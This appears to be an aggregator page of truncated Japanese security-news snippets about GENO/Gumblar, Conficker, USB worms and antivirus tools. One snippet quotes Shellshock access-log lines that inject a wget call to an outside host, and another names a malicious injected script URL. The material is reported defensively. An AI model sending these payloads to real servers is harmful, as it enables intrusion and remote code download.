List of antivirus software vendors - Microsoft Support
Summary This article discusses antivirus software vendors for consumers. More Information Antivirus software is software that is specifically designed to detect and prevent viruses. We recommend that you use antivirus software on your computer. For a list of independent antivirus software vendors, please visit http://www.microsoft.com/windows/antivirus-partners/windows-7.aspx. For additional infor
オンライン無料ウイルス・マルウェア動作挙動解析サイト 【サンドボックス】
ブラウザからアップロードしたWindows用実行ファイル（*.exe）をサンドボックス（仮想マシン）上などで実際に起動させて、どのような挙動を行なったか解析結果を提供してくれる無料サービスです。すべて海外の英語サイトです。オンラインスキャン（ファイル単体）と違って、あまり一般の人が利用するものではありませんな。 （＾＾ Windowsのレジストリの読み書き、ファイルの入出力、ネットワークへの接続などの情報が提供され、ウイルス・マルウェアかどうかの判断材料として使えます。 Anubis [～8MB] by International Secure Systems Lab 実行ファイルのみアップロード可能。ページ上にそのまま解析結果ページのURLアドレスを表示されます。実行ファイルが読み込むDLLの情報、ウイルス対策ソフト「IKARUS」によるウイルススキャン結果、Windowsのレジストリの
児童ポルノ画像を勝手に保存するウイルス「MELLPON」と児童ポルノ単純所持を通報するウイルス「Noped」
児童ポルノの単純所持禁止について、今月22日に自民党と公明党は「違反した場合は懲役または罰金の処罰規定あり」という方向で法案化作業を急ぐことにしており、対して民主党は「みだりに収集、または有償で取得した場合」に限定するそうですが、既に児童ポルノ画像を勝手に保存するウイルスや、児童ポルノ単純所持を検知して関連機関に通報するウイルスが実在しています。 このウイルスの活動の詳細などは以下から。 ■児童ポルノ画像を勝手に保存するウイルス「MELLPON」（メルポン） TROJ_MELLPON.A - 詳 細 このウイルスはいわゆるトロイの木馬型で、2005年に「山田ウイルス」と最初に呼ばれていたもののオリジナル。このウイルスを改良したウイルスが山のように発生していますが、オリジナルである「TROJ_MELLPON.A」は感染すると以下のような挙動を示します。 実行されると、不正プログラムは、自身と
ウイルス対策ソフトは本当に必要なのか？ - やねうらおブログ(移転しました)
いまどき、ウイルス対策ソフトは本当に必要なのか？ 情報流出で社会問題にまで発展したWinnyウイルス(通称キンタマ)を例にあげて考えてみよう。 Winnyウイルスについては免疫をもつコンピュータ―生命に倣うネットワークセキュリティ (岩波科学ライブラリー)に詳しい。この本のタイトルは、電波系に思えるが、そうではない。免疫システムでウイルスが防げないのかという真面目な研究のようで、それなりに成果も出ているようだ。 この本のなかには「免疫をもつコンピュータ」のその詳しい仕組みまでは書かれていないが、私の推測によると、おそらくファイルコピーやプロセス生成などのAPIをhookしておいて、怪しい挙動をするものを検出して、二度目からは即座にシャットアウトするというもののようだ。まだ、その怪しい挙動をしたプログラムによって行なわれた変更をロールバックする機能を持っているようだ。 この本によるとWinn
ログインしてください：日経クロステック（xTECH）
会員限定サービスです 月額プランが10月末まで無料 お申し込み 会員の方はこちら ログイン 日経クロステック TOPページ
黒翼猫のコンピュータ日記 2nd Edition:【GENOウィルス情報補足】Windows 2000 で sqlsodbc.chm がインストールされるのは？ - Windows 2000 Blog
GENOウィルスのチェックプログラム(簡易版)を書いてみた - about:blank
Vista使いでUAC厨の私には全く関係の無い話のような気がするが、いつUACを突破する亜種が出るかは分からない。sqlsodbc.chmのファイルサイズで判定できるようなので、そんなときのためにこんなバッチファイルを書いてみた。以下のプログラムをテキストファイルにコピペして、拡張子をbatにしてダブルクリックで実行すれば、コマンドを勝手に実行し、最後にレポート書いて停止するものだ。有効利用してください。あと、バッチに関しては素人なので改造してくれるとうれしいなぁ。 ttp://3rd.geocities.jp/tdnskbn/dat/genochecker.zip<追記>最新版はこのソースの原型くらいしかのこってないくらい変わってます。容量が大きく見づらいのでzipから入手してください。直接リンクできないのでアドレスバーにペーストしてください。 sqlsodbc.chmをいじらない亜種が
cNotes - cNotes: Current Status Notes
2014/10/04 cNotesサイトへのアクセスログ(shellshock) cNotes サイトに記録されていた shellshock 問題へのアクセスログです。日時は、アクセスパタンの初出です。 Uesr-Agent に格納されていた shellshock 問題へのアクセス 2014-09-26T17:37:53 Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html), () { :; }; /usr/bin/wget web5.mooo.com/bashvultest 2014-09-26T22:04:55 () { :;}; /usr/bin/wget http://web5.mooo.com/bashvultest 2014-09-27T07:23:07 () { :;}; wget h
ハルファ紀行 gumblar.cn
先月、以下のようなスクリプトがいくつかのサイトに注入されていました (実際は難読化された長いスクリプトでした)。 http://94.247.2.195/jquery.js zlkon.lv(ラトビアのISP?)配下のIPアドレスであることから zlkonウイルスなどと呼ばれていました。 今はいくつかのサイトに以下のようなスクリプトが注入されています。 zlkon時代と似ています。解読すると以下のようになります(整形済み)。 「.cn」ですがIPアドレスはロシアです。 WindowsでNT6以外ということで、 Vista・Server2008、7・Server2008R2は除外されます (ME、2000、XP・Server2003までの全てのWindowsが対象です)。 この後が面白いです。 私のXP+IE8でalertすると以下のようになります。 この数字は以下のようになります。 5.8
一目で判るGENOたんの一日☆（ゝω・）vｷｬﾋﾟ:アルファルファモザイク
編集元：ガイドライン板「258 名前：水先案名無い人 投稿日：2009/05/17(日) 19:21:16 ID:ET5/RdBm0」より 743 チチコグサ(アラバマ州) :2009/05/17(日) 18:28:54.51 ID:00pmgETL 一目で判るGENOたんの一日☆ こんにちは、GENOっていいます （幼女ウイルス） 第一感染 ↓ あっ、また会ったね、お兄ちゃん。それじゃあ遊ぼっか！ 再起動で発動 ↓ お姉ちゃん、こっちで一緒に遊ぼうよ！ 勝手に海外のサイトからお姉ちゃんウイルスDL 姉「うっしゃ暴れるぞ」 ↓ もうあたし一人でだいじょうぶだもん！ 再起動で不老の無敵幼女発動 ↓ お兄ちゃんの家に行きたいな〜…… 知らずにサイト更新する ↓ へぇ〜、お兄ちゃん家って、こんな鍵使ってるんだぁ。 FTP
GENOウイルスチェッカー
GENOウイルス対策情報まとめ、GENOウイルスチェッカー更新情報 2009 05/17 といってもウイルス側の挙動がかなり高度なので、誤判定はあります 万が一の事があってはいけないのでかなり判定厳しめに設定してあります。 ご理解の程よろしくお願いします 2009 05/17 いそいで作ったので判定機能以外はぐちゃぐちゃ 2009 05/17 開設 ウソクソ情報 ■javascriptを切ってても感染する(5/17現在) 今の時点ではウソだが将来的に、pdf or swfをjavascript経由せずに直接読み込ませるタイプのものが出てきたらアウト とにかく↓のアドビ関連のアップデートを怠らないこと。 GENOウイルス対策 ■adobe readerを9.1.1にアップデートする(9.1：9.1,0では駄目) http://ardownload.adobe.com
「GENOウィルス」がヤバい７つの理由。これはもっと騒がれるべき。 - ヌルめのつぶやき
万博·体育(ManBetX)官方网站-首页 出错啦！该资源不存在，可能的原因为 (错误代码：404)
セキュリティホール memo - 2009.03.18
》 FAQ：「Conficker」ワームによる4月1日攻撃の可能性--その実態と対策 (CNET, 3/31)。CNET オリジナルの FAQ みたい。訳の質はいまいち。 関連: 「WORM_DOWNAD」（ダウンアド）ファミリ発症日：2009年4月1日を控えたセキュリティ対策確認 (トレンドマイクロ セキュリティ blog, 3/31)、WORM_DOWNAD.KK URLs (トレンドマイクロ) Conficker Hype Used by Rogue Gangs (F-Secure blog, 3/30) When will it start? (F-Secure blog, 3/31) Containing Conficker (uni-bonn.de)。conficker scanner とかあり。 》 事故米転売「被害者・美少年酒造」が三笠側から裏金３０年 (読売, 3/31)
＜コラム＞USBワームが作成する「Autorun.inf」の分析とその傾向 |
トレンドマイクロでは過去数度に渡りUSBワームの脅威と現状について言及してきましたが、現時点でもUSBワームの感染報告は留まることなく、一定の推移で継続し続けています。 2007年の感染報告以降、急激にその種類が増加している事を考えると、USB機器経由での感染経路に一定の効果があることが、ウイルス作者にも広く急速に浸透した事がうかがい知れます。 今回は、「Webからの脅威」と並び非常に効果的な感染経路の一つとして利用され続けるUSBワーム、および「Autorun.inf」について、従来とは異なった視点からより技術的に分析しレポート致します。 リージョナルトレンドラボは、日本国内に寄せられたUSBワーム被害に関する統計調査を実施しました。今回の調査は、USBワーム被害が顕著となる2007年11月から15ヶ月間のデータを使用しています。 ■目次■ 数から見るUSBワーム さらに巧妙になる「Au
ログインしてください：日経クロステック（xTECH）
会員限定サービスです 月額プランが10月末まで無料 お申し込み 会員の方はこちら ログイン 日経クロステック TOPページ
ログインしてください：日経クロステック（xTECH）
会員限定サービスです 月額プランが10月末まで無料 お申し込み 会員の方はこちら ログイン 日経クロステック TOPページ
起動不能なマシンから最強ツールKasperskyでウイルスを除去 | 教えて君.net
万一ウイルスに感染した場合の緊急脱出テクとして、KasperskyのRescue Diskを覚えておいて欲しい。ウイルスのせいで起動不能なマシンを、CDブートによって起動させ、Kasperskyのアンチウイルスを利用したウイルス駆除を行うためのCDだ。 ウイルスに感染すると、「駆除を行おうにも、そもそもWindowsが起動しない」という状態になってしまうケースがある。マシン/HDDが複数台あれば良いが、一台しか持っていない場合は大問題だ。「Windowsを再インストールさせればウイルスは消える」が、「再インストールする以上、現在HDDに入っているデータは全て諦めなくてはならない」ということになる。 ……ということで、起動不能なマシンを強制的に起動させ、HDD内のウイルスを駆除する「レスキューディスク」というものが必要になる。そして、せっかくレスキューディスクを使うなら、検出率などで「最強」
「Downadup」ウイルスのまん延度を算出
当社（エフセキュア）の計測では，ブラスター型ウイルス「Downadup」の感染が急拡大している（関連記事：Windowsの脆弱性悪用ウイルスに350万台以上が感染、国内でも被害多数/ブラスター型ウイルスが企業LANで猛威，5日間で200件近くの被害報告/「USBウイルス」の新手口，設定ファイルをダミーのデータで偽装）。推定したところ，感染したパソコンの台数は2009年1月第3週の4日間で240万台から890万台に膨れあがった。まさに驚異的な数字だ。 我々がどのように感染台数を推定しているのか，多くの質問を受けた。 インターネットの管理者，米国のセキュリティ調査機関CERT，ウイルス対策研究者なども関心を寄せている。 当社のブログに設けたコメント欄にも，この数字を疑問視する声が投稿された。以下にその例を引用する。 Kitschen：お見事だ。正確にマシン10台が感染したと「推定」できるならの
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
atword.jp - このウェブサイトは販売用です！ - リソースおよび情報
Panda Security Sverige » gumblar.cn